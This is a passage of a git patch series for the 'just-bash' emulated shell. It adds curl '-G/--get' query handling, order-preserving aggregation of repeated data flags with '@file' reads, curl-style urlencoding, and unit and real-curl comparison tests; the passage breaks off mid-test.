b/packages/just-bash/src/Bash.exec-options.test.ts @@ -193,6 +193,29 @@ describe("exec options", () => { const envResult = await env.exec("echo $MODE"); expect(envResult.stdout).toBe("dev\n"); }); + + it("should use OLDPWD from per-exec env for cd dash", async () => { + const env = new Bash({ cwd: "/" }); + await env.exec("mkdir -p /tmp/old /tmp/new"); + + const firstCd = await env.exec("cd /tmp/old", { + cwd: "/", + env: env.getEnv(), + }); + const secondCd = await env.exec("cd ../new", { + cwd: firstCd.env.PWD, + env: firstCd.env, + }); + + const result = await env.exec("cd -", { + cwd: secondCd.env.PWD, + env: secondCd.env, + }); + + expect(result.stdout).toBe("/tmp/old\n"); + expect(result.env.PWD).toBe("/tmp/old"); + expect(result.env.OLDPWD).toBe("/tmp/new"); + }); }); describe("error handling", () => { diff --git a/packages/just-bash/src/Bash.ts b/packages/just-bash/src/Bash.ts index f81007990..2b170972a 100644 --- a/packages/just-bash/src/Bash.ts +++ b/packages/just-bash/src/Bash.ts @@ -635,6 +635,7 @@ export class Bash { ...this.state, env: execEnv, cwd: newCwd, + previousDir: options?.env?.OLDPWD ?? this.state.previousDir, // Deep copy mutable objects to prevent interference functions: new Map(this.state.functions), localScopes: [...this.state.localScopes], From 3d39a714b3751cedc173dffae27933dfe7b8b3b5 Mon Sep 17 00:00:00 2001 From: Zach Smith Date: Sun, 19 Jul 2026 12:36:55 -0400 Subject: [PATCH 3/9] feat(curl): add GET data aggregation (#304) --- .changeset/calm-cats-curl-data.md | 5 + packages/just-bash/src/commands/curl/curl.ts | 123 +++++++------- packages/just-bash/src/commands/curl/form.ts | 18 ++- packages/just-bash/src/commands/curl/help.ts | 1 + packages/just-bash/src/commands/curl/parse.ts | 97 ++++++----- .../commands/curl/tests/data-at-file.test.ts | 14 +- .../commands/curl/tests/data-options.test.ts | 151 ++++++++++++++++++ .../src/commands/curl/tests/form.test.ts | 4 +- .../src/commands/curl/tests/parse.test.ts | 4 +- packages/just-bash/src/commands/curl/types.ts | 56 ++++--- .../curl-data.comparison.test.ts | 124 ++++++++++++++ 11 files changed, 456 insertions(+), 141 deletions(-) create mode 100644 .changeset/calm-cats-curl-data.md create mode 100644 packages/just-bash/src/commands/curl/tests/data-options.test.ts create mode 100644 packages/just-bash/src/comparison-tests/curl-data.comparison.test.ts diff --git a/.changeset/calm-cats-curl-data.md b/.changeset/calm-cats-curl-data.md new file mode 100644 index 000000000..f17bb8b42 --- /dev/null +++ b/.changeset/calm-cats-curl-data.md @@ -0,0 +1,5 @@ +--- +"just-bash": minor +--- + +Add curl `-G`/`--get` query-string data handling and preserve command-line order when repeated `-d`, `--data-raw`, `--data-binary`, and `--data-urlencode` options are mixed, including `@file` forms. Data requests now also set curl's standard `application/x-www-form-urlencoded` content type unless the caller supplies one. diff --git a/packages/just-bash/src/commands/curl/curl.ts b/packages/just-bash/src/commands/curl/curl.ts index 61f120bc4..d311ade97 100644 --- a/packages/just-bash/src/commands/curl/curl.ts +++ b/packages/just-bash/src/commands/curl/curl.ts @@ -10,7 +10,7 @@ import { getErrorMessage } from "../../interpreter/helpers/errors.js"; import { _Headers } from "../../security/trusted-globals.js"; import type { Command, CommandContext, ExecResult } from "../../types.js"; import { hasHelpFlag, showHelp } from "../help.js"; -import { generateMultipartBody } from "./form.js"; +import { encodeCurlData, generateMultipartBody } from "./form.js"; import { curlHelp } from "./help.js"; import { parseOptions } from "./parse.js"; import { @@ -21,65 +21,52 @@ import { import type { CurlOptions } from "./types.js"; /** - * Resolve the body for `-d`/`--data`/`--data-binary` (and their `@file` - * forms). Real curl strips CR and LF from `-d @file` reads (ascii mode); - * `--data-binary @file` is sent verbatim. Inline values are returned as-is. - */ -async function resolveDataBody( - options: CurlOptions, - ctx: CommandContext, -): Promise { - if (options.dataFile) { - const filePath = ctx.fs.resolvePath(ctx.cwd, options.dataFile.path); - let content = await ctx.fs.readFile(filePath); - if (options.dataFile.mode === "ascii") { - content = content.replace(/[\r\n]/g, ""); - } - // `--data-urlencode` arguments that appear *after* a `-d @file` keep - // accumulating into `options.data`; preserve that concatenation so a - // mixed invocation like `-d @file --data-urlencode "x=1"` still emits - // both payloads joined with `&`. - return options.data ? `${content}&${options.data}` : content; - } - return options.data; -} - -/** - * Append `--data-urlencode @file` and `--data-urlencode name@file` payloads - * to the existing inline urlencode payload. File contents are URL-encoded - * after read and joined with `&`, matching real curl's behavior. + * Resolve every `-d`/`--data*`/`--data-urlencode` part into a single payload, + * reading any `@file` references and joining the parts with `&` — matching + * real curl's concatenation of repeated data flags. Returns undefined when no + * data flags were given. * - * Note: file contents are passed through `encodeURIComponent` directly - * rather than the inline-form helper. The inline helper (`encodeFormData`) - * splits on the first `=` to separate `name=value` arguments, which would - * mis-encode any `=` byte inside the file. For `@file` (and `name@file`) - * forms the entire file body is the value — `=` bytes must be percent- - * encoded like every other reserved character. + * Per-part `@file` handling mirrors real curl: + * - ascii (`-d`/`--data` @file): strip CR and LF after reading. + * - binary (`--data-binary` @file): send the bytes verbatim. + * - urlencode (`--data-urlencode` @file/name@file): URL-encode the whole + * file body as one value (so a `=` byte inside the file is percent-encoded + * rather than treated as a name/value separator), with an optional + * `name=` prefix. */ -async function resolveUrlencodeFiles( +async function resolveData( options: CurlOptions, ctx: CommandContext, - base: string | undefined, ): Promise { - if (options.urlencodeFiles.length === 0) return base; - const parts: string[] = base ? [base] : []; - for (const entry of options.urlencodeFiles) { - const filePath = ctx.fs.resolvePath(ctx.cwd, entry.path); - const content = await ctx.fs.readFile(filePath); - const encoded = encodeURIComponent(content); - parts.push( - entry.name ? `${encodeURIComponent(entry.name)}=${encoded}` : encoded, - ); + if (options.dataParts.length === 0) return undefined; + const parts: string[] = []; + for (const part of options.dataParts) { + if (part.file) { + const filePath = ctx.fs.resolvePath(ctx.cwd, part.file.path); + const content = await ctx.fs.readFile(filePath); + if (part.file.mode === "ascii") { + parts.push(content.replace(/[\r\n]/g, "")); + } else if (part.file.mode === "binary") { + parts.push(content); + } else { + const encoded = encodeCurlData(content); + parts.push(part.file.name ? `${part.file.name}=${encoded}` : encoded); + } + } else { + parts.push(part.value ?? ""); + } } return parts.join("&"); } /** - * Prepare request body from options, reading files if needed + * Prepare request body from options, reading files if needed. `resolvedData` + * is the already-joined `-d`/`--data*` payload (see resolveData). */ async function prepareRequestBody( options: CurlOptions, ctx: CommandContext, + resolvedData: string | undefined, ): Promise<{ body?: string; contentType?: string }> { // Handle -T/--upload-file if (options.uploadFile) { @@ -116,20 +103,34 @@ async function prepareRequestBody( }; } - // Handle -d/--data/--data-binary/--data-raw (inline + @file) and - // accumulated --data-urlencode files. The two flavors are merged with `&` - // because real curl lets you mix `-d foo --data-urlencode @file` and - // concatenates the payloads. - let body = await resolveDataBody(options, ctx); - body = await resolveUrlencodeFiles(options, ctx, body); - if (body !== undefined) { - return { body }; + // Handle -d/--data/--data-binary/--data-raw/--data-urlencode (inline + + // @file). In -G/--get mode the payload goes onto the URL query string + // instead of the body (handled by the caller), so emit no body here. + if (resolvedData !== undefined && !options.getMode) { + return { + body: resolvedData, + contentType: "application/x-www-form-urlencoded", + }; } // @banned-pattern-ignore: returns typed object with known keys (body, contentType), not user data return {}; } +function appendDataToUrl(url: string, data: string | undefined): string { + if (!data) return url; + const hashIndex = url.indexOf("#"); + const base = hashIndex === -1 ? url : url.slice(0, hashIndex); + const fragment = hashIndex === -1 ? "" : url.slice(hashIndex); + const separator = + base.endsWith("?") || base.endsWith("&") + ? "" + : base.includes("?") + ? "&" + : "?"; + return `${base}${separator}${data}${fragment}`; +} + /** * Prepare request headers from options. * Clones the Headers object so the original is not mutated. @@ -274,8 +275,20 @@ export const curlCommand: Command = { } try { + // Resolve -d/--data* payloads (reading any @file references) once, then + // either append to the URL (-G/--get) or send as the body. + const resolvedData = await resolveData(options, ctx); + + if (options.getMode) { + url = appendDataToUrl(url, resolvedData); + } + // Prepare body and headers - const { body, contentType } = await prepareRequestBody(options, ctx); + const { body, contentType } = await prepareRequestBody( + options, + ctx, + resolvedData, + ); const headers = prepareHeaders(options, contentType); const result = await ctx.fetch(url, { diff --git a/packages/just-bash/src/commands/curl/form.ts b/packages/just-bash/src/commands/curl/form.ts index cfb38c4b0..ac02e52dc 100644 --- a/packages/just-bash/src/commands/curl/form.ts +++ b/packages/just-bash/src/commands/curl/form.ts @@ -4,9 +4,17 @@ import type { FormField } from "./types.js"; +export function encodeCurlData(value: string): string { + return encodeURIComponent(value) + .replace(/[!'()*]/g, (char) => `%${char.charCodeAt(0).toString(16)}`) + .replace(/%20/g, "+") + .replace(/%[0-9A-F]{2}/g, (percentEscape) => percentEscape.toLowerCase()); +} + /** * URL-encode form data in curl's --data-urlencode format - * Supports: name=content, =content, name@file, @file + * Supports: name=content, =content, content. The `@file` / `name@file` forms + * are detected in parseOptions and deferred to execute time (see resolveData). */ export function encodeFormData(input: string): string { // Check for name=value format @@ -14,13 +22,11 @@ export function encodeFormData(input: string): string { if (eqIndex >= 0) { const name = input.slice(0, eqIndex); const value = input.slice(eqIndex + 1); - if (name) { - return `${encodeURIComponent(name)}=${encodeURIComponent(value)}`; - } - return encodeURIComponent(value); + const encoded = encodeCurlData(value); + return name ? `${name}=${encoded}` : encoded; } // Plain value - return encodeURIComponent(input); + return encodeCurlData(input); } /** diff --git a/packages/just-bash/src/commands/curl/help.ts b/packages/just-bash/src/commands/curl/help.ts index 625267c2e..f7fb45233 100644 --- a/packages/just-bash/src/commands/curl/help.ts +++ b/packages/just-bash/src/commands/curl/help.ts @@ -15,6 +15,7 @@ export const curlHelp: { "-X, --request METHOD HTTP method (GET, POST, PUT, DELETE, etc.)", "-H, --header HEADER Add header (can be used multiple times)", "-d, --data DATA HTTP POST data (DATA=@file reads from file, strips newlines)", + "-G, --get Append data payloads to URL query string", " --data-raw DATA HTTP POST data (no @ interpretation)", " --data-binary DATA HTTP POST binary data (DATA=@file reads file verbatim)", " --data-urlencode DATA URL-encode and POST data (supports @file and name@file)", diff --git a/packages/just-bash/src/commands/curl/parse.ts b/packages/just-bash/src/commands/curl/parse.ts index e4a72b900..f36e5744e 100644 --- a/packages/just-bash/src/commands/curl/parse.ts +++ b/packages/just-bash/src/commands/curl/parse.ts @@ -9,35 +9,26 @@ import { encodeFormData, parseFormField } from "./form.js"; import type { CurlOptions } from "./types.js"; /** - * Apply `-d`/`--data`/`--data-binary`/`--data-raw` value. + * Push a `-d`/`--data`/`--data-binary`/`--data-raw` value as a data part. * * Real curl interprets a leading `@` as "read from file" for `-d`/`--data` - * and `--data-binary`, but NOT for `--data-raw`. When `allowFile` is true - * and the value begins with `@`, the path is recorded for execute-time - * resolution and inline `data` is cleared; otherwise the value is taken - * verbatim. - * - * `dataFile` and `data` are mutually exclusive: each `-d`/`--data*` - * occurrence overwrites the previous one. This is the just-bash status quo - * for these flags and intentionally differs from real curl, which combines - * repeated `-d` flags with `&`. The narrower scope avoids changing - * established behavior for inline values while still fixing the `@file` - * gap. `--data-urlencode` retains its own per-flag accumulation path. + * and `--data-binary`, but NOT for `--data-raw`. When `allowFile` is true and + * the value begins with `@`, the path is recorded for execute-time resolution + * (the VFS read is async); otherwise the value is taken verbatim. Parts + * accumulate in order and are joined with `&` at execute time, matching real + * curl's combination of repeated data flags. */ -function applyDataArg( +function pushDataPart( options: CurlOptions, value: string, spec: { binary: boolean; allowFile: boolean }, ): void { if (spec.allowFile && value.startsWith("@")) { - options.dataFile = { - mode: spec.binary ? "binary" : "ascii", - path: value.slice(1), - }; - options.data = undefined; + options.dataParts.push({ + file: { path: value.slice(1), mode: spec.binary ? "binary" : "ascii" }, + }); } else { - options.data = value; - options.dataFile = undefined; + options.dataParts.push({ value }); } if (spec.binary) { options.dataBinary = true; @@ -45,33 +36,38 @@ function applyDataArg( } /** - * Apply a `--data-urlencode` value. Real curl supports five forms: + * Push a `--data-urlencode` value as a data part. Real curl supports five + * forms: * content → encode content * =content → encode content (no `name=`) * name=content → `name=` + encode(content) * @filename → encode contents of file * name@filename → `name=` + encode(contents of file) * - * File forms are deferred to execute time so the VFS read is async-safe; - * the inline forms keep the existing eager encoding behavior so multiple - * `--data-urlencode` flags continue to concatenate with `&`. + * The `@file` forms are deferred to execute time so the VFS read is + * async-safe; the inline forms are encoded eagerly. Either way the result is + * one ordered data part joined with `&` alongside the other data flags. */ -function applyUrlencodeArg(options: CurlOptions, value: string): void { +function pushUrlencodePart(options: CurlOptions, value: string): void { if (value.startsWith("@")) { - options.urlencodeFiles.push({ path: value.slice(1) }); + options.dataParts.push({ + file: { path: value.slice(1), mode: "urlencode" }, + }); return; } const atIndex = value.indexOf("@"); const eqIndex = value.indexOf("="); if (atIndex > 0 && (eqIndex < 0 || atIndex < eqIndex)) { - options.urlencodeFiles.push({ - name: value.slice(0, atIndex), - path: value.slice(atIndex + 1), + options.dataParts.push({ + file: { + path: value.slice(atIndex + 1), + mode: "urlencode", + name: value.slice(0, atIndex), + }, }); return; } - options.data = - (options.data ? `${options.data}&` : "") + encodeFormData(value); + options.dataParts.push({ value: encodeFormData(value) }); } /** @@ -81,8 +77,9 @@ export function parseOptions(args: string[]): CurlOptions | ExecResult { const options: CurlOptions = { method: "GET", headers: new _Headers(), + dataParts: [], dataBinary: false, - urlencodeFiles: [], + getMode: false, formFields: [], useRemoteName: false, headOnly: false, @@ -95,16 +92,20 @@ export function parseOptions(args: string[]): CurlOptions | ExecResult { }; let impliesPost = false; + let explicitMethod = false; for (let i = 0; i < args.length; i++) { const arg = args[i]; if (arg === "-X" || arg === "--request") { options.method = args[++i] ?? "GET"; + explicitMethod = true; } else if (arg.startsWith("-X")) { options.method = arg.slice(2); + explicitMethod = true; } else if (arg.startsWith("--request=")) { options.method = arg.slice(10); + explicitMethod = true; } else if (arg === "-H" || arg === "--header") { const header = args[++i]; if (header) { @@ -123,41 +124,44 @@ export function parseOptions(args: string[]): CurlOptions | ExecResult { const value = header.slice(colonIndex + 1).trim(); options.headers.append(name, value); } + } else if (arg === "-G" || arg === "--get") { + options.getMode = true; + if (!explicitMethod) options.method = "GET"; } else if (arg === "-d" || arg === "--data") { - applyDataArg(options, args[++i] ?? "", { + pushDataPart(options, args[++i] ?? "", { binary: false, allowFile: true, }); impliesPost = true; } else if (arg === "--data-raw") { - applyDataArg(options, args[++i] ?? "", { + pushDataPart(options, args[++i] ?? "", { binary: false, allowFile: false, }); impliesPost = true; } else if (arg.startsWith("-d")) { - applyDataArg(options, arg.slice(2), { binary: false, allowFile: true }); + pushDataPart(options, arg.slice(2), { binary: false, allowFile: true }); impliesPost = true; } else if (arg.startsWith("--data=")) { - applyDataArg(options, arg.slice(7), { binary: false, allowFile: true }); + pushDataPart(options, arg.slice(7), { binary: false, allowFile: true }); impliesPost = true; } else if (arg.startsWith("--data-raw=")) { - applyDataArg(options, arg.slice(11), { + pushDataPart(options, arg.slice(11), { binary: false, allowFile: false, }); impliesPost = true; } else if (arg === "--data-binary") { - applyDataArg(options, args[++i] ?? "", { binary: true, allowFile: true }); + pushDataPart(options, args[++i] ?? "", { binary: true, allowFile: true }); impliesPost = true; } else if (arg.startsWith("--data-binary=")) { - applyDataArg(options, arg.slice(14), { binary: true, allowFile: true }); + pushDataPart(options, arg.slice(14), { binary: true, allowFile: true }); impliesPost = true; } else if (arg === "--data-urlencode") { - applyUrlencodeArg(options, args[++i] ?? ""); + pushUrlencodePart(options, args[++i] ?? ""); impliesPost = true; } else if (arg.startsWith("--data-urlencode=")) { - applyUrlencodeArg(options, arg.slice(17)); + pushUrlencodePart(options, arg.slice(17)); impliesPost = true; } else if (arg === "-F" || arg === "--form") { const formData = args[++i] ?? ""; @@ -245,6 +249,7 @@ export function parseOptions(args: string[]): CurlOptions | ExecResult { } else if (arg === "-I" || arg === "--head") { options.headOnly = true; options.method = "HEAD"; + explicitMethod = true; } else if (arg === "-i" || arg === "--include") { options.includeHeaders = true; } else if (arg === "-s" || arg === "--silent") { @@ -287,6 +292,7 @@ export function parseOptions(args: string[]): CurlOptions | ExecResult { case "I": options.headOnly = true; options.method = "HEAD"; + explicitMethod = true; break; case "i": options.includeHeaders = true; @@ -297,6 +303,10 @@ export function parseOptions(args: string[]): CurlOptions | ExecResult { case "v": options.verbose = true; break; + case "G": + options.getMode = true; + if (!explicitMethod) options.method = "GET"; + break; default: return unknownOption("curl", `-${c}`); } @@ -306,8 +316,9 @@ export function parseOptions(args: string[]): CurlOptions | ExecResult { } } - // Data/form options imply POST when no explicit method was set - if (impliesPost && options.method === "GET") { + // Data/form options imply POST when no explicit method was set. `-G`/`--get` + // keeps the request a GET and sends the payload as a query string instead. + if (impliesPost && !explicitMethod && !options.getMode) { options.method = "POST"; } diff --git a/packages/just-bash/src/commands/curl/tests/data-at-file.test.ts b/packages/just-bash/src/commands/curl/tests/data-at-file.test.ts index db7b05e9e..46ec0e989 100644 --- a/packages/just-bash/src/commands/curl/tests/data-at-file.test.ts +++ b/packages/just-bash/src/commands/curl/tests/data-at-file.test.ts @@ -164,7 +164,7 @@ describe("curl @file interpretation", () => { "curl --data-urlencode @/note.txt https://api.example.com/test", ); expect(result.exitCode).toBe(0); - expect(lastRequest?.options.body).toBe("hello%20world%20%26%20friends"); + expect(lastRequest?.options.body).toBe("hello+world+%26+friends"); }); it("URL-encodes the file contents with name when value is name@file", async () => { @@ -173,7 +173,7 @@ describe("curl @file interpretation", () => { "curl --data-urlencode note@/note.txt https://api.example.com/test", ); expect(result.exitCode).toBe(0); - expect(lastRequest?.options.body).toBe("note=value%20with%20space"); + expect(lastRequest?.options.body).toBe("note=value+with+space"); }); it("concatenates inline and @file urlencode values with &", async () => { @@ -182,20 +182,20 @@ describe("curl @file interpretation", () => { 'curl --data-urlencode "a=1" --data-urlencode note@/note.txt https://api.example.com/test', ); expect(result.exitCode).toBe(0); - expect(lastRequest?.options.body).toBe("a=1¬e=from%20file"); + expect(lastRequest?.options.body).toBe("a=1¬e=from+file"); }); it("percent-encodes `=` inside file contents (no name=value split)", async () => { // Real file contents may contain `=` bytes that must NOT be treated as // a name/value separator. encodeFormData would split on `=` and emit // `a=b%26c`; the @file form must treat the whole body as one value: - // every `=` percent-encodes to %3D. + // every `=` percent-encodes to %3d. const env = createEnv({ "/note.txt": "a=b&c" }); const result = await env.exec( "curl --data-urlencode @/note.txt https://api.example.com/test", ); expect(result.exitCode).toBe(0); - expect(lastRequest?.options.body).toBe("a%3Db%26c"); + expect(lastRequest?.options.body).toBe("a%3db%26c"); }); it("percent-encodes `=` inside file contents for the name@file form", async () => { @@ -204,7 +204,7 @@ describe("curl @file interpretation", () => { "curl --data-urlencode payload@/note.txt https://api.example.com/test", ); expect(result.exitCode).toBe(0); - expect(lastRequest?.options.body).toBe("payload=k%3Dv"); + expect(lastRequest?.options.body).toBe("payload=k%3dv"); }); it("supports --data-urlencode=@file form", async () => { @@ -213,7 +213,7 @@ describe("curl @file interpretation", () => { "curl --data-urlencode=@/note.txt https://api.example.com/test", ); expect(result.exitCode).toBe(0); - expect(lastRequest?.options.body).toBe("hi%20there"); + expect(lastRequest?.options.body).toBe("hi+there"); }); }); diff --git a/packages/just-bash/src/commands/curl/tests/data-options.test.ts b/packages/just-bash/src/commands/curl/tests/data-options.test.ts new file mode 100644 index 000000000..91b2af618 --- /dev/null +++ b/packages/just-bash/src/commands/curl/tests/data-options.test.ts @@ -0,0 +1,151 @@ +/** + * Tests for curl data aggregation and -G/--get behavior. + */ + +import { + afterAll, + beforeAll, + beforeEach, + describe, + expect, + it, + vi, +} from "vitest"; +import { Bash } from "../../../Bash.js"; + +const originalFetch = global.fetch; +let lastRequest: { url: string; options: RequestInit } | null = null; + +const mockFetch = vi.fn(async (url: string, options?: RequestInit) => { + lastRequest = { url, options: options ?? {} }; + return new Response("ok", { status: 200 }); +}); + +beforeAll(() => { + global.fetch = mockFetch as typeof fetch; +}); + +afterAll(() => { + global.fetch = originalFetch; +}); + +function createEnv(files?: Record): Bash { + return new Bash({ + files, + network: { + allowedUrlPrefixes: ["https://api.example.com"], + allowedMethods: ["GET", "POST"], + }, + }); +} + +describe("curl data options", () => { + beforeEach(() => { + mockFetch.mockClear(); + lastRequest = null; + }); + + it("appends repeated data flags in command-line order", async () => { + const env = createEnv(); + const result = await env.exec( + "curl -d 'a=1' --data 'b=2' --data-raw 'c=3' https://api.example.com/post", + ); + + const headers = new Headers(lastRequest?.options.headers as HeadersInit); + expect(result.exitCode).toBe(0); + expect(lastRequest).toEqual({ + url: "https://api.example.com/post", + options: expect.objectContaining({ + method: "POST", + body: "a=1&b=2&c=3", + }), + }); + expect(headers.get("Content-Type")).toBe( + "application/x-www-form-urlencoded", + ); + }); + + it("preserves a user-supplied content type", async () => { + const env = createEnv(); + const result = await env.exec( + "curl -H 'Content-Type: text/plain' -d 'hello' https://api.example.com/post", + ); + + const headers = new Headers(lastRequest?.options.headers as HeadersInit); + expect(result.exitCode).toBe(0); + expect(headers.get("Content-Type")).toBe("text/plain"); + }); + + it("moves ordered data to the URL in -G mode", async () => { + const env = createEnv(); + const result = await env.exec( + "curl -G 'https://api.example.com/query?fixed=1#section' -d 'a=1' --data-urlencode 'b=hello world*' -d 'c=3'", + ); + + expect(result.exitCode).toBe(0); + expect(lastRequest).toEqual({ + url: "https://api.example.com/query?fixed=1&a=1&b=hello+world%2a&c=3#section", + options: expect.objectContaining({ + method: "GET", + }), + }); + expect(lastRequest?.options.body).toBeUndefined(); + }); + + it("supports every inline --data-urlencode form", async () => { + const env = createEnv(); + + await env.exec( + "curl -G https://api.example.com/ --data-urlencode 'name=a b'", + ); + expect(lastRequest?.url).toBe("https://api.example.com/?name=a+b"); + + await env.exec("curl -G https://api.example.com/ --data-urlencode '=a b'"); + expect(lastRequest?.url).toBe("https://api.example.com/?a+b"); + + await env.exec("curl -G https://api.example.com/ --data-urlencode 'a b'"); + expect(lastRequest?.url).toBe("https://api.example.com/?a+b"); + }); + + it("does not duplicate an existing empty query delimiter", async () => { + const env = createEnv(); + + await env.exec("curl -G 'https://api.example.com/?' -d 'q=1'"); + expect(lastRequest?.url).toBe("https://api.example.com/?q=1"); + + await env.exec("curl -G 'https://api.example.com/?fixed=1&' -d 'q=1'"); + expect(lastRequest?.url).toBe("https://api.example.com/?fixed=1&q=1"); + }); + + it("keeps an explicit request method regardless of -G ordering", async () => { + const env = createEnv(); + + await env.exec( + "curl -X POST -G https://api.example.com/ --data-urlencode 'q=1'", + ); + expect(lastRequest).toEqual({ + url: "https://api.example.com/?q=1", + options: expect.objectContaining({ method: "POST" }), + }); + expect(lastRequest?.options.body).toBeUndefined(); + + await env.exec( + "curl -G -X POST https://api.example.com/ --data-urlencode 'q=1'", + ); + expect(lastRequest).toEqual({ + url: "https://api.example.com/?q=1", + options: expect.objectContaining({ method: "POST" }), + }); + expect(lastRequest?.options.body).toBeUndefined(); + }); + + it("preserves order when inline and file-backed parts are mixed", async () => { + const env = createEnv({ "/payload.txt": "a=1\n" }); + const result = await env.exec( + "curl -d @/payload.txt --data-urlencode 'q=a b*' --data-raw 'c=3' https://api.example.com/post", + ); + + expect(result.exitCode).toBe(0); + expect(lastRequest?.options.body).toBe("a=1&q=a+b%2a&c=3"); + }); +}); diff --git a/packages/just-bash/src/commands/curl/tests/form.test.ts b/packages/just-bash/src/commands/curl/tests/form.test.ts index c38a3dc21..5f7e41c39 100644 --- a/packages/just-bash/src/commands/curl/tests/form.test.ts +++ b/packages/just-bash/src/commands/curl/tests/form.test.ts @@ -50,7 +50,7 @@ describe("curl form data", () => { "curl --data-urlencode 'message=hello world' https://api.example.com/post", ); - expect(lastRequest?.options.body).toBe("message=hello%20world"); + expect(lastRequest?.options.body).toBe("message=hello+world"); }); it("encodes special characters", async () => { @@ -64,7 +64,7 @@ describe("curl form data", () => { "curl --data-urlencode 'data=a&b=c' https://api.example.com/post", ); - expect(lastRequest?.options.body).toBe("data=a%26b%3Dc"); + expect(lastRequest?.options.body).toBe("data=a%26b%3dc"); }); it("appends multiple --data-urlencode values", async () => { diff --git a/packages/just-bash/src/commands/curl/tests/parse.test.ts b/packages/just-bash/src/commands/curl/tests/parse.test.ts index 801a5ced4..238530433 100644 --- a/packages/just-bash/src/commands/curl/tests/parse.test.ts +++ b/packages/just-bash/src/commands/curl/tests/parse.test.ts @@ -145,7 +145,7 @@ describe("curl option parsing", () => { 'curl -s --data-urlencode "name=John Doe" https://api.example.com/test', ); expect(result.exitCode).toBe(0); - expect(lastRequest?.options.body).toContain("John%20Doe"); + expect(lastRequest?.options.body).toContain("John+Doe"); }); it("should handle --data-urlencode=value form", async () => { @@ -154,7 +154,7 @@ describe("curl option parsing", () => { 'curl -s --data-urlencode="foo=bar baz" https://api.example.com/test', ); expect(result.exitCode).toBe(0); - expect(lastRequest?.options.body).toContain("bar%20baz"); + expect(lastRequest?.options.body).toContain("bar+baz"); }); it("should append multiple --data-urlencode values", async () => { diff --git a/packages/just-bash/src/commands/curl/types.ts b/packages/just-bash/src/commands/curl/types.ts index b1164c811..ea1ed9dfb 100644 --- a/packages/just-bash/src/commands/curl/types.ts +++ b/packages/just-bash/src/commands/curl/types.ts @@ -9,42 +9,46 @@ export interface FormField { contentType?: string; } -export interface UrlencodeFile { - /** Optional field name; emits `name=` prefix before the encoded file contents. */ - name?: string; - /** Path to read; resolved against ctx.cwd at execute time. */ - path: string; +/** + * A single `-d`/`--data`/`--data-binary`/`--data-raw`/`--data-urlencode` + * occurrence. Parts accumulate in command-line order and are joined with `&` + * at execute time, matching real curl's behavior of combining repeated data + * flags. Exactly one of `value` / `file` is set per part. + */ +export interface DataPart { + /** + * Inline value already in its final wire form: raw for `-d`/`--data`/ + * `--data-raw`/`--data-binary`, URL-encoded for inline `--data-urlencode`. + * Undefined when the part is file-backed. + */ + value?: string; + /** File-backed payload (`@file` forms), read at execute time. */ + file?: DataPartFile; } -export interface DataFile { +export interface DataPartFile { + /** Path to read; resolved against ctx.cwd at execute time. */ + path: string; /** - * `ascii` matches `-d`/`--data` semantics: CR and LF are stripped after - * reading. `binary` matches `--data-binary`: file bytes are sent verbatim. + * `ascii` (`-d`/`--data` @file): CR and LF are stripped after reading. + * `binary` (`--data-binary` @file): file bytes are sent verbatim. + * `urlencode` (`--data-urlencode` @file/name@file): contents are + * URL-encoded after reading. */ - mode: "ascii" | "binary"; - path: string; + mode: "ascii" | "binary" | "urlencode"; + /** + * `--data-urlencode name@file` emits a `name=` prefix before the encoded + * file contents. Undefined for the bare `@file` form. + */ + name?: string; } export interface CurlOptions { method: string; headers: Headers; - data?: string; + dataParts: DataPart[]; dataBinary: boolean; - /** - * File backing the `data` payload when `-d`/`--data`/`--data-binary` was - * given as `@filename`. Mutually exclusive with `data` — whichever form - * appears last on the command line wins. This last-write-wins shape is - * the established just-bash behavior for `-d`/`--data*` inline values - * and intentionally differs from real curl, which combines repeated - * `-d` payloads with `&`. The `@file` work here preserves that scope. - */ - dataFile?: DataFile; - /** - * `--data-urlencode @file` and `--data-urlencode name@file` accumulate - * here. Each entry is encoded at execute time and joined with `&` - * alongside any inline urlencode payload accumulated in `data`. - */ - urlencodeFiles: UrlencodeFile[]; + getMode: boolean; formFields: FormField[]; user?: string; uploadFile?: string; diff --git a/packages/just-bash/src/comparison-tests/curl-data.comparison.test.ts b/packages/just-bash/src/comparison-tests/curl-data.comparison.test.ts new file mode 100644 index 000000000..d1f70c324 --- /dev/null +++ b/packages/just-bash/src/comparison-tests/curl-data.comparison.test.ts @@ -0,0 +1,124 @@ +import { execFile } from "node:child_process"; +import { mkdtemp, rm, writeFile } from "node:fs/promises"; +import { createServer } from "node:http"; +import type { AddressInfo } from "node:net"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { promisify } from "node:util"; +import { afterAll, beforeAll, describe, expect, it } from "vitest"; +import { Bash } from "../Bash.js"; + +const execFileAsync = promisify(execFile); + +describe("curl data options - real curl comparison", () => { + const server = createServer((request, response) => { + const chunks: Buffer[] = []; + request.on("data", (chunk: Buffer) => chunks.push(chunk)); + request.on("end", () => { + const address = server.address() as AddressInfo; + const url = new URL( + request.url ?? "/", + `http://127.0.0.1:${address.port}`, + ); + const body = Buffer.concat(chunks).toString("utf8"); + const summary = { + method: request.method, + path: url.pathname, + query: [...url.searchParams.entries()], + body: body ? [...new URLSearchParams(body).entries()] : [], + contentType: request.headers["content-type"] ?? null, + }; + response.writeHead(200, { "Content-Type": "application/json" }); + response.end(JSON.stringify(summary)); + }); + }); + + let baseUrl: string; + let realCurlCwd: string; + + beforeAll(async () => { + await new Promise((resolve, reject) => { + server.once("error", reject); + server.listen(0, "127.0.0.1", () => resolve()); + }); + const address = server.address() as AddressInfo; + baseUrl = `http://127.0.0.1:${address.port}`; + realCurlCwd = await mkdtemp(join(tmpdir(), "just-bash-curl-")); + await writeFile(join(realCurlCwd, "payload.txt"), "a=1\n"); + }); + + afterAll(async () => { + await new Promise((resolve, reject) => { + server.close((error) => (error ? reject(error) : resolve())); + }); + await rm(realCurlCwd, { recursive: true, force: true }); + }); + + async function runRealCurl(args: string[]): Promise { + const { stdout } = await execFileAsync("curl", ["-sS", ...args], { + cwd: realCurlCwd, + encoding: "utf8", + }); + return stdout; + } + + function createEnv(files?: Record): Bash { + return new Bash({ + files, + network: { + allowedUrlPrefixes: [baseUrl], + allowedMethods: ["GET", "POST"], + denyPrivateRanges: false, + }, + }); + } + + it("matches -G query aggregation", async () => { + const real = await runRealCurl([ + "-G", + `${baseUrl}/echo?fixed=1`, + "--data-urlencode", + "query=a b*", + "-d", + "raw=1", + ]); + const result = await createEnv().exec( + `curl -sS -G '${baseUrl}/echo?fixed=1' --data-urlencode 'query=a b*' -d 'raw=1'`, + ); + + expect(result).toMatchObject({ stdout: real, stderr: "", exitCode: 0 }); + }); + + it("matches ordered inline and file-backed 